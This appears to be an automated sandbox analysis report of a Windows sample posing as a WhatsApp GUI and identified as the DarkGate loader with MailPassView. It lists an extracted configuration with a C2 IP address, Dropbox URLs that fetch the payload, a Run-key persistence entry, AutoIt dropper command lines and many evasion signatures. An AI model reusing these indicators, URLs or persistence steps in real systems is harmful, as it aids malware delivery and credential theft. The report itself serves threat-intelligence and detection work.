Edit tour

Windows Analysis Report
Whatsapp-GUI.exe

Overview

General Information

Sample name:	Whatsapp-GUI.exe
Analysis ID:	1575235
MD5:	8c3ef2eba970f543f0ebe6dced908402
SHA1:	431157eaf15244e5d8cc167511b4611f4dfae85c
SHA256:	9e4f036dd6fbb45ce414cb5d040b3255b5ccc9ecacbfaf022b631545f9a19a02
Tags:	DarkGateexeuser-smica83
Infos:

Detection

DarkGate, MailPassView

Score:	69
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	63
Range:	0 - 100

Signatures

Found malware configuration

Yara detected DarkGate

Yara detected MailPassView

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Creates autostart registry keys with suspicious names

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Whatsapp-GUI.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\Whatsapp-GUI.exe" MD5: 8C3EF2EBA970F543F0EBE6DCED908402)

UpdaterService.exe (PID: 7636 cmdline: "C:\ProgramData\Updater\UpdaterService.exe" "C:\ProgramData\Updater\ConfigUpdater.a3x" MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cmd.exe (PID: 7684 cmdline: "c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain > C:\ProgramData\bfadeeb\deddfcf MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7732 cmdline: wmic ComputerSystem get domain MD5: E2DE6500DE1148C7F6027AD50AC8B891)

Autoit3.exe (PID: 8020 cmdline: "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x MD5: C56B5F0201A3B3DE53E561FE76912BFD)

Autoit3.exe (PID: 8092 cmdline: "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkGate	First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.	No Attribution	https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/ https://blog.sekoia.io/darkgate-internals/ https://blog.talosintelligence.com/darkgate-remote-template-injection/ https://cofense.com/blog/are-darkgate-and-pikabot-the-new-qakbot/ https://cybersecurity.att.com/blogs/security-essentials/darkgate-malware-delivered-via-microsoft-teams-detection-and-response	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate

Malware Configuration

Threatname: DarkGate

{"C2 url": "154.216.16.83", "check_ram": false, "crypter_rawstub": "Whatsapp", "crypter_dll": "PyKtS5QCVyLlgyPHS4pCp0F19IXDQAsFsMQc", "crypter_au3": 6, "flag_14": true, "crypto_key": 80, "startup_persistence": true, "flag_32": false, "anti_vm": false, "min_disk": false, "flag_18": 100, "anti_analysis": false, "min_ram": false, "flag_19": 4096, "check_disk": false, "flag_21": false, "flag_23": true, "flag_31": false, "flag_25": "rjacline01395", "flag_26": false, "flag_27": "VyUZUiNl", "flag_28": false, "flag_29": 2, "flag_35": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
0000000A.00000002.2042583535.0000000003F48000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000002.4180519040.00000000048D8000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000009.00000002.1966048662.0000000003BC8000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000003.1834927328.0000000005380000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
Process Memory Space: UpdaterService.exe PID: 7636	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: UpdaterService.exe PID: 7636	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
Process Memory Space: Autoit3.exe PID: 8020	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: Autoit3.exe PID: 8020	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
Process Memory Space: Autoit3.exe PID: 8092	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: Autoit3.exe PID: 8092	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
Click to see the 26 entries

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x, EventID: 13, EventType: SetValue, Image: C:\ProgramData\Updater\UpdaterService.exe, ProcessId: 7636, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\deafbbd

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000009.00000002.1966226527.0000000003EC0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: DarkGate {"C2 url": "154.216.16.83", "check_ram": false, "crypter_rawstub": "Whatsapp", "crypter_dll": "PyKtS5QCVyLlgyPHS4pCp0F19IXDQAsFsMQc", "crypter_au3": 6, "flag_14": true, "crypto_key": 80, "startup_persistence": true, "flag_32": false, "anti_vm": false, "min_disk": false, "flag_18": 100, "anti_analysis": false, "min_ram": false, "flag_19": 4096, "check_disk": false, "flag_21": false, "flag_23": true, "flag_31": false, "flag_25": "rjacline01395", "flag_26": false, "flag_27": "VyUZUiNl", "flag_28": false, "flag_29": 2, "flag_35": false}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.2% probability

Compliance

PE / OLE file has a valid certificate

Source: Whatsapp-GUI.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49737 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: Whatsapp-GUI.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:

Binary string: C:\Users\Work\source\repos\Whatsapp-GUI\Whatsapp-GUI\obj\Debug\Whatsapp-GUI.pdb source: Whatsapp-GUI.exe

Spreading

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_008A4005
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_008AC2FF
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A494A GetFileAttributesW,FindFirstFileW,FindClose,	9_2_008A494A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008ACD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	9_2_008ACD9F
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008ACD14 FindFirstFileW,FindClose,	9_2_008ACD14
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_008AF5D8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_008AF735
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_008AFA36
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_008A3CE2
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1DB65 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	9_2_00F1DB65
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BBA584 FindFirstFileW,lstrcmpW,lstrcmpW,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FindNextFileW,FindClose,	9_2_03BBA584
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B68AFC FindFirstFileA,GetLastError,	9_2_03B68AFC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B689F4 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	9_2_03B689F4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB31F8 FindFirstFileW,FindNextFileW,FindClose,	9_2_03BB31F8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BBBA70 FindFirstFileW,FindNextFileW,FindClose,	9_2_03BBBA70
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B65974 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	9_2_03B65974
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B7BD8C FindFirstFileA,FindNextFileA,FindClose,	9_2_03B7BD8C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B93D68 FindFirstFileW,FindNextFileW,FindClose,	9_2_03B93D68

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 154.216.16.83

Source: global traffic	HTTP traffic detected: GET /scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=nll27ti7&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1 HTTP/1.1Host: uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.16.83

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008B29BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

9_2_008B29BA

Source: global traffic	HTTP traffic detected: GET /scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=nll27ti7&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1 HTTP/1.1Host: uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.comConnection: Keep-Alive

Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Y44NPolicy: font-src https://* data: ; base-uri 'self' ; media-src https://* blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: font-src https://* data: ; base-uri 'self' ; media-src https://* blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: uri 'self' ; media-src https://* blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com

Source: Whatsapp-GUI.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Whatsapp-GUI.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
